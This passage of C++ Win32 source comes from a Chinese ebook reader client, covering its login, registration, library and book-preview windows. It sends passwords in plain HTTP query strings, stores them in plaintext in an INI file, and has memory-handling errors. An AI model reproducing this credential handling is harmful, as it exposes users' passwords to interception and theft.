tempbookid=tempbooklist.substr(0,fz);  // s2 = "is i"tempbooklist=  tempbooklist.substr(fz+1,tempbooklist.size()-fz);if (bookname==FileName){MessageBox(hwnd,"该书籍正在阅读!不能删除!","警告",MB_OK);return 0;}//删除网上书签及其它相关数据booknr=geturl("http://lovegp.cn/gpbook/gpbooksq.asp?cz=delete&username="+username+"&bookid="+tempbookid);SendMessage(KJ_TALK5_LISTBOX1, LB_DELETESTRING, nIndex, 0);//删除该条目booklist.erase(booklist.begin()+nIndex,booklist.begin()+nIndex+1);DeleteFile(bookname.c_str());}//双击书籍栏目 if ((HWND)lParam==KJ_TALK5_LISTBOX1 && HIWORD(wParam)==LBN_DBLCLK) //双击LBN_DBLCLK{INT nIndex = (int)SendMessage(KJ_TALK5_LISTBOX1, LB_GETCURSEL, 0, 0);string tempbooklist=booklist[nIndex];//截取booknameint fz=tempbooklist.find('=');//string.rfind  从字符串右边开始找字符,返回位置bookname=Get_Run_Path_ZGP();bookname=bookname+"GPBOOK\\"+tempbooklist.substr(0,fz)+".txt";  // s2 = "is i"tempbooklist=  tempbooklist.substr(fz+1,tempbooklist.size()-fz);//截取bookwzfz=tempbooklist.find('=');//string.rfind  从字符串右边开始找字符,返回位置string bookwz=tempbooklist.substr(0,fz);  // s2 = "is i"tempbooklist=  tempbooklist.substr(fz+1,tempbooklist.size()-fz);                    //截取bookwzfz=tempbooklist.find('=');//string.rfind  从字符串右边开始找字符,返回位置string tempbookid=tempbooklist.substr(0,fz);  // s2 = "is i"tempbooklist=  tempbooklist.substr(fz+1,tempbooklist.size()-fz);               if (checkfile(bookname)){   if (bookname==FileName){MessageBox(hwnd,"该书籍正在阅读!","警告",MB_OK);break;}else{FileName=bookname;bookstr=ReadFile(FileName);//读取电子书数据beginwz=atoi(bookwz.c_str());getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果    bookid=tempbookid;WritePrivateProfileString("电子书","bookid",bookid.c_str(),IniFullPath);}}else //如果文件不存在,则从网上下载{beginwz=atoi(bookwz.c_str());//printf("bookname:%s,bookwz:%s,bookid:%s\n",bookname.c_str(),bookwz.c_str(),bookid.c_str());//获取网上图书内容bookid=tempbookid;booknr=geturl("http://lovegp.cn/gpbook/gpbookshow.asp?id="+bookid+"&all=all");DWORD dwWritten;char *buff;int i=booknr.size();buff=(char*)malloc(booknr.size());buff=(char*)booknr.c_str();HANDLE hCreateFile = CreateFile((char *)bookname.c_str(), GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);WriteFile(hCreateFile, buff, i, &dwWritten, NULL);  CloseHandle(hCreateFile);//关闭文件句柄 buff=(char*)malloc(0);   delete[] buff;FileName=bookname;bookstr=ANSIToUnicode(booknr);booknr="";getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 WritePrivateProfileString("电子书","bookid",bookid.c_str(),IniFullPath);MessageBox(hwnd,"已从网上载入本地!","警告",MB_OK);DestroyWindow(hwnd);//关闭窗口}}return 0;}          case WM_CTLCOLORSTATIC:{HDC hdc = (HDC)wParam;SetTextColor(hdc, 0);//SelectObject(hdc,GetStockObject(SYSTEM_FIXED_FONT));return (BOOL)((HBRUSH)GetStockObject(NULL_BRUSH));      }case WM_DESTROY:PostQuitMessage(0);return 0;default:return DefWindowProc(hwnd, message, wParam, lParam);}return 0;
}
//talk4窗口响应事件处理 ==用户操作
LRESULT CALLBACK Talk4LoginProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam){int wmId;    switch (message){
/*  case WM_NCLBUTTONDOWN://不准移动窗口,但是也关闭不了//if (wParam == HTCAPTION || (wParam >= HTLEFT && wParam < HTBORDER))if ((wParam >= HTLEFT && wParam < HTBORDER))return 0;  */case WM_CREATE:{SetWindowLong(hwnd, GWL_STYLE, WS_SYSMENU | WS_CAPTION | WS_SIZEBOX|WS_THICKFRAME);//把窗口去最大化最小化GetClientRect(hwnd, &r);获取客户区尺寸KJ_TALK4_BROUPBOX1=CreateWindow(TEXT("BUTTON"), TEXT(""), WS_CHILD|WS_VISIBLE|BS_GROUPBOX, 10, 10, r.right-r.left-20, r.bottom-r.top-20, hwnd, (HMENU)IDD_TALK4_BROUPBOX1, NULL, NULL);   KJ_TALK4_TEXT1=CreateWindow(TEXT("STATIC"), TEXT("用户名:"), WS_CHILD|WS_VISIBLE, 50, 80, 150, 50, hwnd, (HMENU)IDD_TALK4_TEXT1, NULL, NULL);          KJ_TALK4_TEXT2=CreateWindow(TEXT("STATIC"), TEXT("密  码:"), WS_CHILD|WS_VISIBLE, 50, 130, 150, 50, hwnd, (HMENU)IDD_TALK4_TEXT2, NULL, NULL);            KJ_TALK4_EDIT1=CreateWindowEx(WS_EX_CLIENTEDGE, TEXT("EDIT"), TEXT(""), WS_CHILD|WS_VISIBLE|WS_BORDER|ES_AUTOHSCROLL , 50+100, 80, 130, 30, hwnd, (HMENU)IDD_TALK4_EDIT1, NULL, NULL);KJ_TALK4_EDIT2=CreateWindowEx(WS_EX_CLIENTEDGE, TEXT("EDIT"), TEXT(""), ES_PASSWORD|WS_CHILD|WS_VISIBLE|WS_BORDER|ES_AUTOHSCROLL , 50+100, 130, 130, 30, hwnd, (HMENU)IDD_TALK4_EDIT2, NULL, NULL);int y=220;KJ_TALK4_BUTTON1=CreateWindow(TEXT("BUTTON"), TEXT("登录"),WS_CHILD|WS_VISIBLE| BS_DEFPUSHBUTTON|BS_OWNERDRAW,40, y, 80, 35, hwnd,(HMENU)IDD_TALK4_BUTTON1, NULL,NULL);KJ_TALK4_BUTTON2=CreateWindow(TEXT("BUTTON"), TEXT("注销"),WS_CHILD|WS_VISIBLE| BS_DEFPUSHBUTTON|BS_OWNERDRAW,40+90, y, 80, 35, hwnd,(HMENU)IDD_TALK4_BUTTON2, NULL,NULL);KJ_TALK4_BUTTON3=CreateWindow(TEXT("BUTTON"), TEXT("注册"),WS_CHILD|WS_VISIBLE| BS_DEFPUSHBUTTON|BS_OWNERDRAW,40+90+90, y, 80, 35, hwnd,(HMENU)IDD_TALK4_BUTTON3, NULL,NULL);//创建字体HFONT hFont=CreateFont((char*)"宋体",25);      //设置控件字体SendMessage(KJ_TALK4_TEXT1,WM_SETFONT,(WPARAM)hFont,0); SendMessage(KJ_TALK4_TEXT2,WM_SETFONT,(WPARAM)hFont,0); SendMessage(KJ_TALK4_EDIT1,WM_SETFONT,(WPARAM)hFont,0); SendMessage(KJ_TALK4_EDIT2,WM_SETFONT,(WPARAM)hFont,0); SendMessage(KJ_TALK4_BUTTON1,WM_SETFONT,(WPARAM)hFont,0);   SendMessage(KJ_TALK4_BUTTON2,WM_SETFONT,(WPARAM)hFont,0);   SendMessage(KJ_TALK4_BUTTON3,WM_SETFONT,(WPARAM)hFont,0);   //操作控件if (username!="游客") SetWindowText(KJ_TALK4_EDIT1,(char *)username.c_str());SetWindowText(KJ_TALK4_EDIT2,(char *)password.c_str());SetFocus(KJ_TALK4_EDIT1);//重新处理EDIT的事件Oldtalk4editProc = SetWindowLong(KJ_TALK4_EDIT1,GWL_WNDPROC, (LONG)talk4EditProc);Oldtalk4editProc = SetWindowLong(KJ_TALK4_EDIT2,GWL_WNDPROC, (LONG)talk4EditProc);oldtalk4buttonproc=SetWindowLong(KJ_TALK4_BUTTON1,GWL_WNDPROC, (LONG)talk4buttonproc);return 0;}case WM_COMMAND:{wmId = LOWORD(wParam);//注销用户if (wmId==IDD_TALK4_BUTTON2){MessageBox(NULL,"注销成功!","提示",MB_OK);username="游客";password="";WritePrivateProfileString("电子书","username",(char *)username.c_str(),IniFullPath);//写入INI数值WritePrivateProfileString("电子书","password",(char *)password.c_str(),IniFullPath);//写入INI数值getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景SetWindowText(KJ_TALK4_EDIT2,"");SetWindowText(KJ_TALK4_EDIT1,"");SetFocus(KJ_TALK4_EDIT1);//SendMessageA(hwnd,WM_CLOSE,0,0);//关闭窗口    return 0;}//注册if (wmId==IDD_TALK4_BUTTON3){string tempname,temppsw;memset(inputstr, 0, 50);//一定要清掉内存,不然会.......    GetWindowText(KJ_TALK4_EDIT1,inputstr,50);if (strcmp(inputstr,"")==0)//如果没有输入内容{MessageBox(hwnd,"请输入用户名","警告",MB_OK);SetActiveWindow(hwnd);SetFocus(KJ_TALK4_EDIT1);break;}tempname=inputstr;memset(inputstr, 0, 50);//一定要清掉内存,不然会.......   GetWindowText(KJ_TALK4_EDIT2,inputstr,50);if (strcmp(inputstr,"")==0)//如果没有输入内容{MessageBox(hwnd,"请输入密码","警告",MB_OK);SetActiveWindow(hwnd);SetFocus(KJ_TALK4_EDIT2);return 0;}temppsw=inputstr; //进行网上验证SetCursor(LoadCursor(NULL,IDC_WAIT));//切换为等待光标// SetCursor(LoadCursor(NULL,IDC_ARROW));//恢复光标//获取用户信息string str1=geturl("http://lovegp.cn/gpbook/gpbooklogin.asp?cz=register&username="+tempname+"&password="+temppsw);if (str1=="注册成功")     //if (strcmp(tempbuff,"登录成功")==0)   {MessageBox(NULL,"注册成功!","提示",MB_OK);username=tempname;password=temppsw;WritePrivateProfileString("电子书","username",(char *)username.c_str(),IniFullPath);//写入INI数值WritePrivateProfileString("电子书","password",(char *)password.c_str(),IniFullPath);//写入INI数值InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景DestroyWindow(hwnd);//关闭窗口return 0;}else{MessageBox(NULL,"注册失败,可能存在该用户名!","提示",MB_OK);username="游客";password="";SetFocus(KJ_TALK4_EDIT1);}// SetCursor(LoadCursor(NULL,IDC_WAIT));//切换为等待光标SetCursor(LoadCursor(NULL,IDC_ARROW));//恢复光标}//登录if (wmId==IDD_TALK4_BUTTON1){string tempname,temppsw;memset(inputstr, 0, 50);//一定要清掉内存,不然会....... GetWindowText(KJ_TALK4_EDIT1,inputstr,50);if (strcmp(inputstr,"")==0)//如果没有输入内容{MessageBox(hwnd,"请输入用户名","警告",MB_OK);SetActiveWindow(hwnd);SetFocus(KJ_TALK4_EDIT1);return 0;}tempname=inputstr;memset(inputstr, 0, 50);//一定要清掉内存,不然会.......    GetWindowText(KJ_TALK4_EDIT2,inputstr,50);if (strcmp(inputstr,"")==0)//如果没有输入内容{MessageBox(hwnd,"请输入密码","警告",MB_OK);SetActiveWindow(hwnd);SetFocus(KJ_TALK4_EDIT2);return 0;}temppsw=inputstr; //进行网上验证//获取用户信息SetCursor(LoadCursor(NULL,IDC_WAIT));//切换为等待光标//SetCursor(LoadCursor(NULL,IDC_ARROW));//恢复光标string str1=geturl("http://lovegp.cn/gpbook/gpbooklogin.asp?cz=login&username="+tempname+"&password="+temppsw);if (str1=="登录成功")     //if (strcmp(tempbuff,"登录成功")==0)   {username=tempname;password=temppsw;WritePrivateProfileString("电子书","username",(char *)username.c_str(),IniFullPath);//写入INI数值WritePrivateProfileString("电子书","password",(char *)password.c_str(),IniFullPath);//写入INI数值getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景MessageBox(NULL,"登录成功!","提示",MB_OK);DestroyWindow(hwnd);//关闭窗口return 0;}else{MessageBox(NULL,"登录失败!","提示",MB_OK);username="游客";password="";SetFocus(KJ_TALK4_EDIT1);}// SetCursor(LoadCursor(NULL,IDC_WAIT));//切换为等待光标SetCursor(LoadCursor(NULL,IDC_ARROW));//恢复光标}return 0;}            case WM_DRAWITEM:{UINT iCtlID = wParam;//如果此消息是菜单发送的,此值就是0,否则就是发送此消息的控件IDLPDRAWITEMSTRUCT lpDrawItemStruct = (LPDRAWITEMSTRUCT)lParam;HDC hdc = lpDrawItemStruct->hDC;//重绘按钮类if (lpDrawItemStruct->CtlType&ODT_BUTTON){SetBkMode(hdc,TRANSPARENT);//设置文字背景模式为透明的RECT rcitem;rcitem=lpDrawItemStruct->rcItem;char tip[MAX_PATH];//如果按钮获得焦点时
/*                  if (lpDrawItemStruct->itemState&ODS_FOCUS)//检测按钮是否是被单击按下时要求的重绘{DrawFocusRect(hdc,&rcitem);}   */if (lpDrawItemStruct->itemState&ODS_SELECTED)//检测按钮是否是被单击按下时要求的重绘{//单击按钮时HBRUSH hbr;hbr=CreateSolidBrush(RGB(122,197,205));SelectObject(hdc,hbr);RoundRect(hdc,rcitem.left,rcitem.top,rcitem.right,rcitem.bottom,30,30);//FillRect(hdc,&rcitem,hbr);                     //hbr=CreateSolidBrush(RGB(205,92,92));// FrameRect(hdc,&rcitem,hbr);// FillRect(hdc,&lpDrawItemStruct->rcItem,(HBRUSH)GetStockObject(DKGRAY_BRUSH));//删除画刷DeleteObject(hbr);SetTextColor(hdc,RGB(255,0,0));}else{HBRUSH hbr;hbr=CreateSolidBrush(RGB(155, 205, 155));SelectObject(hdc,hbr);RoundRect(hdc,rcitem.left,rcitem.top,rcitem.right,rcitem.bottom,30,30);//FillRect(hdc,&rcitem,hbr);      //hbr=CreateSolidBrush(RGB(34, 139, 34));//FrameRect(hdc,&rcitem,(HBRUSH)GetStockObject(BLACK_BRUSH));//删除画刷DeleteObject(hbr);SetTextColor(hdc,RGB(0, 0, 0));}//绘制按钮文字GetWindowText(lpDrawItemStruct->hwndItem,tip,MAX_PATH);SetBkMode(hdc,TRANSPARENT);DrawText(hdc,tip,-1,&lpDrawItemStruct->rcItem,DT_WORDBREAK|DT_CENTER|DT_SINGLELINE|DT_VCENTER);//SetBkMode(hdc,OPAQUE);//恢复文字背景模式//  SetTextColor(hdc,RGB(0,0,0));//恢复文字颜色} }return FALSE;case WM_CTLCOLORSTATIC:{HDC hdc = (HDC)wParam;SetTextColor(hdc, 0);//SelectObject(hdc,GetStockObject(SYSTEM_FIXED_FONT));return (BOOL)((HBRUSH)GetStockObject(NULL_BRUSH));   }case WM_DESTROY:PostQuitMessage(0);return 0;}return DefWindowProc(hwnd, message, wParam, lParam);
}//talk3窗口响应事件处理--图书预览
LRESULT CALLBACK Talk3BookPreviewProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam){int wmId;  switch (message){case WM_SIZE:{int ibottom=60;MoveWindow(KJ_TALK3_MEMO1,0,0,LOWORD(lParam),HIWORD(lParam)-ibottom,TRUE);MoveWindow(KJ_TALK3_BUTTON1,(LOWORD(lParam)-80)/2,HIWORD(lParam)-ibottom+(ibottom-25)/2,8*10,25,TRUE);break;}case WM_CREATE:{GetClientRect(hwnd, &r);获取客户区尺寸KJ_TALK3_MEMO1 = CreateWindowEx(WS_EX_CLIENTEDGE, TEXT("EDIT"),"", WS_CHILD|WS_VISIBLE|WS_BORDER|ES_MULTILINE | ES_WANTRETURN | WS_VSCROLL | ES_AUTOVSCROLL, 0, 0, r.right-r.left, r.bottom-r.top-40, hwnd, (HMENU)IDD_TALK3_MEMO1, NULL, NULL);KJ_TALK3_BUTTON1=CreateWindow(TEXT("BUTTON"), TEXT("加入书架"),WS_CHILD|WS_VISIBLE| BS_DEFPUSHBUTTON,(r.right-r.left-80)/2, r.bottom-r.top-35, 80, 30, hwnd,(HMENU)IDD_TALK3_BUTTON1, NULL,NULL);                                     //创建字体HFONT hFont=CreateFont((char*)"楷体",40);      HFONT hFont1=CreateFont((char*)"宋体",17);//设置控件字体SendMessage(KJ_TALK3_MEMO1,WM_SETFONT,(WPARAM)hFont,0);  SendMessage(KJ_TALK3_BUTTON1,WM_SETFONT,(WPARAM)hFont1,0);  //操作控件SendMessage(KJ_TALK3_MEMO1, EM_SETLIMITTEXT, (int)booknr.size(), 0);//设置多行EDIT最大字符限制SetWindowText(KJ_TALK3_MEMO1,(char *)booknr.c_str());//将网上读取的书本内容显示在EDIT中;return 0;}case WM_COMMAND:{wmId = LOWORD(wParam);//加入书架if (wmId==IDD_TALK3_BUTTON1){if (BookPreview==1){//写入本地硬盘DWORD dwWritten;char *buff;int i=GetWindowTextLength(KJ_TALK3_MEMO1);buff=(char*)malloc(i);GetWindowText(KJ_TALK3_MEMO1,buff,i);HANDLE hCreateFile = CreateFile((char *)bookname.c_str(), GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);WriteFile(hCreateFile, buff, i, &dwWritten, NULL);   CloseHandle(hCreateFile);//关闭文件句柄 booknr=buff;buff=(char*)malloc(0);  FileName=bookname;//得到LISTBOX选中的内容的BOOKIDINT nIndex = (int)SendMessage(KJ_TALK2_LISTBOX2, LB_GETCURSEL, 0, 0);nIndex++;int fz=booklist[nIndex].rfind('=');//string.rfind  从字符串右边开始找字符,返回位置//bookid 如果有BOOKID则是网上的书籍,如果是“-1”,则为本地图书bookid=  booklist[nIndex].substr(fz+1,booklist[nIndex].size()-fz);                  }else{bookid="-1";FileName=bookname;}//将内容显示在主窗口中bookstr=ANSIToUnicode(booknr);booknr.clear();beginwz=0;getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果    WritePrivateProfileString("电子书","书名",FileName.c_str(),IniFullPath);         WritePrivateProfileString("电子书","bookid",bookid.c_str(),IniFullPath);if (username!="游客" && bookid!="-1")//上传书签 {char bookwz[30]="\0";char bookzzs[30]="\0";sprintf(bookwz,"%d",beginwz);sprintf(bookzzs,"%d",bookstr.size());string tempurl="http://lovegp.cn/gpbook/gpbooksq.asp?cz=addwz&username="+username+"&bookid="+bookid+"&bookwz="+bookwz+"&bookzzs="+bookzzs;booknr=geturl(tempurl);if (booknr!="增加成功"){beginwz=atoi((char *)booknr.c_str());getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果                     }MessageBox(hwnd,"本书已加入书架!","提示",MB_OK);}DestroyWindow(hwnd);//关闭窗口}return 0;}           case WM_CTLCOLORSTATIC:{HDC hdc = (HDC)wParam;SetTextColor(hdc, 0);//SelectObject(hdc,GetStockObject(SYSTEM_FIXED_FONT));return (BOOL)((HBRUSH)GetStockObject(NULL_BRUSH));      }case WM_DESTROY:booknr="";PostQuitMessage(0);return 0;default:return DefWindowProc(hwnd, message, wParam, lParam);}return 0;
}//talk2窗口响应事件处理  图书馆
LRESULT CALLBACK Talk2LibraryProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam){int wmId;  static HFONT hFont; HDC hdc ;PAINTSTRUCT ps ;  TEXTMETRIC tm ; static int cxChar,cyChar;switch (message){case WM_SIZE:{int ibottom=60;MoveWindow(KJ_TALK2_BROUPBOX1,cxChar,cyChar/2,LOWORD(lParam)*0.3,HIWORD(lParam)-ibottom,TRUE);MoveWindow(KJ_TALK2_LISTBOX1,cxChar+1,cyChar+10,LOWORD(lParam)*0.3-5,HIWORD(lParam)-ibottom-22,TRUE);MoveWindow(KJ_TALK2_BROUPBOX2,LOWORD(lParam)*0.3+cxChar,cyChar/2,LOWORD(lParam)*0.7-cxChar*2,HIWORD(lParam)-ibottom,TRUE);MoveWindow(KJ_TALK2_LISTBOX2,LOWORD(lParam)*0.3+cxChar+1,cyChar+10,LOWORD(lParam)*0.7-cxChar*2-5,HIWORD(lParam)-ibottom-22,TRUE);MoveWindow(KJ_TALK2_TEXT1,cxChar,HIWORD(lParam)-ibottom+(ibottom-cyChar)/2+5,cxChar*12,cyChar,TRUE);MoveWindow(KJ_TALK2_TEXT2,cxChar*14,HIWORD(lParam)-ibottom+(ibottom-cyChar)/2+5,cxChar*6,cyChar,TRUE);MoveWindow(KJ_TALK2_EDIT1,cxChar*20,HIWORD(lParam)-ibottom+(ibottom-cyChar)/2+5,cxChar*10,cyChar+2,TRUE);MoveWindow(KJ_TALK2_BUTTON1,LOWORD(lParam)*0.8,HIWORD(lParam)-ibottom+(ibottom-cyChar)/2+5,cxChar*10,cyChar+5,TRUE);MoveWindow(KJ_TALK2_BUTTON2,LOWORD(lParam)*0.6,HIWORD(lParam)-ibottom+(ibottom-cyChar)/2+5,cxChar*10,cyChar+5,TRUE);break;}case WM_CREATE: {SetCursor(LoadCursor(NULL,IDC_WAIT));//切换为等待光标//创建字体hFont=CreateFont((char*)"宋体",20);hdc = GetDC (hwnd) ;(HFONT)SelectObject(hdc,hFont);//选择字体GetTextMetrics (hdc, &tm) ;cxChar = tm.tmAveCharWidth ;//得到字体的宽度cyChar = tm.tmHeight + tm.tmExternalLeading ;//得到字体的高度//DeleteObject(hFont);ReleaseDC (hwnd, hdc) ;//SetCursor(LoadCursor(NULL,IDC_ARROW));//恢复光标KJ_TALK2_BROUPBOX1=CreateWindow(TEXT("BUTTON"), TEXT("书籍栏目"), WS_CHILD|WS_VISIBLE|BS_GROUPBOX, 10, 10, 150, 510, hwnd, (HMENU)IDD_TALK2_BROUPBOX1, NULL, NULL);   KJ_TALK2_LISTBOX1 = CreateWindowEx(WS_EX_CLIENTEDGE, TEXT("LISTBOX"), NULL, WS_CHILD|WS_VISIBLE|LBS_NOTIFY|WS_VSCROLL, 10+2, 10+22, 150-5, 496, hwnd, (HMENU)IDD_TALK2_LISTBOX1, NULL, NULL);//|WS_BORDERKJ_TALK2_BROUPBOX2=CreateWindow(TEXT("BUTTON"), TEXT("书籍列表"), WS_CHILD|WS_VISIBLE|BS_GROUPBOX, 870, 10, 410, 510, hwnd, (HMENU)IDD_TALK2_BROUPBOX2, NULL, NULL);KJ_TALK2_LISTBOX2 = CreateWindowEx(WS_EX_CLIENTEDGE, TEXT("LISTBOX"), NULL, WS_CHILD|WS_VISIBLE|LBS_NOTIFY|WS_VSCROLL, 870+2, 10+22, 410-5, 496, hwnd, (HMENU)IDD_TALK2_LISTBOX2, NULL, NULL);//WS_VSCROLL|WS_HSCROLL| |WS_BORDERKJ_TALK2_TEXT1=CreateWindow(TEXT("STATIC"), TEXT("显示页数"), WS_CHILD|WS_VISIBLE, 10, 830, 150, 50, hwnd, (HMENU)IDD_TALK2_TEXT1, NULL, NULL);       KJ_TALK2_BUTTON1=CreateWindow(TEXT("BUTTON"), TEXT("下一页"),WS_CHILD|WS_VISIBLE|BS_DEFPUSHBUTTON,300+70, 822, 80, 35, hwnd,(HMENU)IDD_TALK2_BUTTON1, NULL,NULL);KJ_TALK2_BUTTON2=CreateWindow(TEXT("BUTTON"), TEXT("上一页"),WS_CHILD|WS_VISIBLE| BS_DEFPUSHBUTTON,410+70, 822, 80, 35, hwnd,(HMENU)IDD_TALK2_BUTTON2, NULL,NULL);KJ_TALK2_TEXT2=CreateWindow(TEXT("STATIC"), TEXT("查找:"), WS_CHILD|WS_VISIBLE, 10+150, 830, 60, 50, hwnd, (HMENU)IDD_TALK2_TEXT2, NULL, NULL);                     KJ_TALK2_EDIT1=CreateWindowEx(WS_EX_CLIENTEDGE, TEXT("EDIT"), TEXT(""), WS_CHILD|WS_VISIBLE|WS_BORDER|ES_AUTOHSCROLL , 10+150+50, 825, 100, 30, hwnd, (HMENU)IDD_TALK2_EDIT1, NULL, NULL);//设置控件字体SendMessage(KJ_TALK2_BROUPBOX1,WM_SETFONT,(WPARAM)hFont,0);                SendMessage(KJ_TALK2_BROUPBOX2,WM_SETFONT,(WPARAM)hFont,0);             SendMessage(KJ_TALK2_LISTBOX1,WM_SETFONT,(WPARAM)hFont,0);              SendMessage(KJ_TALK2_LISTBOX2,WM_SETFONT,(WPARAM)hFont,0);              SendMessage(KJ_TALK2_TEXT1,WM_SETFONT,(WPARAM)hFont,0);                 SendMessage(KJ_TALK2_TEXT2,WM_SETFONT,(WPARAM)hFont,0);                     SendMessage(KJ_TALK2_BUTTON1,WM_SETFONT,(WPARAM)hFont,0);                   SendMessage(KJ_TALK2_BUTTON2,WM_SETFONT,(WPARAM)hFont,0);               SendMessage(KJ_TALK2_EDIT1,WM_SETFONT,(WPARAM)hFont,0);                 //获取书籍栏目 string str1=geturl("http://lovegp.cn/gpbook/gpbooklm.asp?username="+username);//szDownBuffer;string str2="";if (str1!=""){for (int i=0;i<str1.size();i++){if (str1[i]==13 || str1[i]==10){if (str2!="" && str2!="0")SendMessage(KJ_TALK2_LISTBOX1, LB_ADDSTRING, 0,(LPARAM)str2.c_str());str2="";}else{str2=str2+str1[i];}}}//获取书籍列表getbooklist("http://lovegp.cn/gpbook/gpbooklist.asp?username="+username+"&password="+password);//重新处理EDIT1的事件Oldtalk2editProc = SetWindowLong(KJ_TALK2_EDIT1,GWL_WNDPROC, (LONG)talk2EditProc);//SetCursor(LoadCursor(NULL,IDC_WAIT));//切换为等待光标SetCursor(LoadCursor(NULL,IDC_ARROW));//恢复光标          return 0;}case WM_CHAR:{return 0;}case WM_COMMAND:wmId = LOWORD(wParam);//下一页if (wmId==IDD_TALK2_BUTTON1){//得到LISTBOX选中的内容INT nIndex = (int)SendMessage(KJ_TALK2_LISTBOX1, LB_GETCURSEL, 0, 0);if (nIndex==-1) nIndex=0;char buff[MAX_PATH];SendMessage(KJ_TALK2_LISTBOX1, LB_GETTEXT, nIndex, (LPARAM)buff);//得到LISTBOX选中的内容//_itoa(nIndex, text, 10); //int转为char//int StrCmpW(PCWSTR psz1,PCWSTR psz2);//Returns zero if the strings are identicalchar * strlm=buff;int dqpage=stoi(urlpage);int zpage=stoi(booklist[0]);if (dqpage<zpage){dqpage++;urlpage=to_string(dqpage);string searchtemp=searchstr;//获取书籍列表getbooklist("http://lovegp.cn/gpbook/gpbooklist.asp?username="+username+"&password="+password+"&cx="+searchtemp+"&bookpage="+urlpage+"&booklm="+hzto16(strlm));}//if (strcmp(buff,"全部书籍")!=0) MessageBox(hwnd,buff,"Tips:",MB_OK);//输出textreturn 0;      }//上一页if (wmId==IDD_TALK2_BUTTON2){//MessageBox(NULL,"OK","ERROR",MB_OK);//break;//得到LISTBOX选中的内容INT nIndex = (int)SendMessage(KJ_TALK2_LISTBOX1, LB_GETCURSEL, 0, 0);if (nIndex==-1) nIndex=0;char buff[MAX_PATH];SendMessage(KJ_TALK2_LISTBOX1, LB_GETTEXT, nIndex, (LPARAM)buff);//得到LISTBOX选中的内容//_itoa(nIndex, text, 10); //int转为char//int StrCmpW(PCWSTR psz1,PCWSTR psz2);//Returns zero if the strings are identicalchar * strlm=buff;int dqpage=stoi(urlpage);int zpage=stoi(booklist[0]);if (dqpage>1){dqpage--;urlpage=to_string(dqpage);string searchtemp=searchstr;//获取书籍列表getbooklist("http://lovegp.cn/gpbook/gpbooklist.asp?username="+username+"&password="+password+"&cx="+searchtemp+"&bookpage="+urlpage+"&booklm="+hzto16(strlm));}//if (strcmp(buff,"全部书籍")!=0) MessageBox(hwnd,buff,"Tips:",MB_OK);//输出textreturn 0;          }   //双击书籍栏目 if ((HWND)lParam==KJ_TALK2_LISTBOX1 && HIWORD(wParam)==LBN_DBLCLK) //双击LBN_DBLCLK{//得到LISTBOX选中的内容INT nIndex = (int)SendMessage(KJ_TALK2_LISTBOX1, LB_GETCURSEL, 0, 0);if (nIndex==-1) break;char buff[MAX_PATH];SendMessage(KJ_TALK2_LISTBOX1, LB_GETTEXT, nIndex, (LPARAM)buff);//得到LISTBOX选中的内容//_itoa(nIndex, text, 10); //int转为char//int StrCmpW(PCWSTR psz1,PCWSTR psz2);//Returns zero if the strings are identicalchar *str=buff;string str1="http://lovegp.cn/gpbook/gpbooklist.asp?username="+username+"&password="+password+"&booklm="+hzto16(str);//获取书籍列表urlpage="1";memset(searchstr, '\0', sizeof(searchstr));//将查找框清零SetWindowText(KJ_TALK2_EDIT1,searchstr);getbooklist((char *)str1.c_str());return 0;}//双击书籍清单  获取书籍内容if ((HWND)lParam==KJ_TALK2_LISTBOX2 && HIWORD(wParam)==LBN_DBLCLK) //双击LBN_DBLCLK{//得到LISTBOX选中的内容INT nIndex = (int)SendMessage(KJ_TALK2_LISTBOX2, LB_GETCURSEL, 0, 0);if (nIndex==-1) break;nIndex++;int fz=booklist[nIndex].rfind('=');//string.rfind  从字符串右边开始找字符,返回位置bookname=Get_Run_Path_ZGP();bookname=bookname+"GPBOOK\\"+booklist[nIndex].substr(0,fz)+".txt";  // s2 = "is i"string tempbookid=  booklist[nIndex].substr(fz+1,booklist[nIndex].size()-fz);SetWindowText(KJ_TALK2_TEXT1,"正在下载......");booknr=geturl("http://lovegp.cn/gpbook/gpbookshow.asp?id="+tempbookid+"&all=all");//得到书本内容SetWindowText(KJ_TALK2_TEXT1,"完成下载......");RECT rt;SystemParametersInfo(SPI_GETWORKAREA,   0,   &rt,   0);    // 获得桌面工作区大小int cx=rt.right-rt.left;int cy=rt.bottom-rt.top;BookPreview=1;DisplayTalk(hwnd,talk3,"talk3","图书预览",cx-200,cy-100);return 0;}            case WM_CTLCOLORSTATIC:{HDC hdc = (HDC)wParam;SetTextColor(hdc, 0);//SelectObject(hdc,GetStockObject(SYSTEM_FIXED_FONT));return (BOOL)((HBRUSH)GetStockObject(NULL_BRUSH));      }case WM_DESTROY:PostQuitMessage(0);return 0;default:return DefWindowProc(hwnd, message, wParam, lParam);}return 0;
}//talk1窗口响应事件处理--参数配置
LRESULT CALLBACK Talk1ConfigProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam){int wmId;   static HFONT hFont; HDC hdc ;PAINTSTRUCT ps ;  TEXTMETRIC tm ; //static int cxChar,cyChar;switch (message){case WM_SIZE:{int i=1,jj=10;
//设置静态文本的位置begin===============================for (i=1;i<=11;i++){MoveWindow(GetDlgItem(hwnd,800+i),cxChar,(cyChar+jj)*i,cxChar*10,cyChar,TRUE);}i=15;MoveWindow(GetDlgItem(hwnd,812),cxChar*3,(cyChar+jj)*i+10,cxChar*80,cyChar,TRUE);i++;MoveWindow(GetDlgItem(hwnd,813),cxChar*3,(cyChar+jj)*i+10,cxChar*80,cyChar,TRUE);i++;
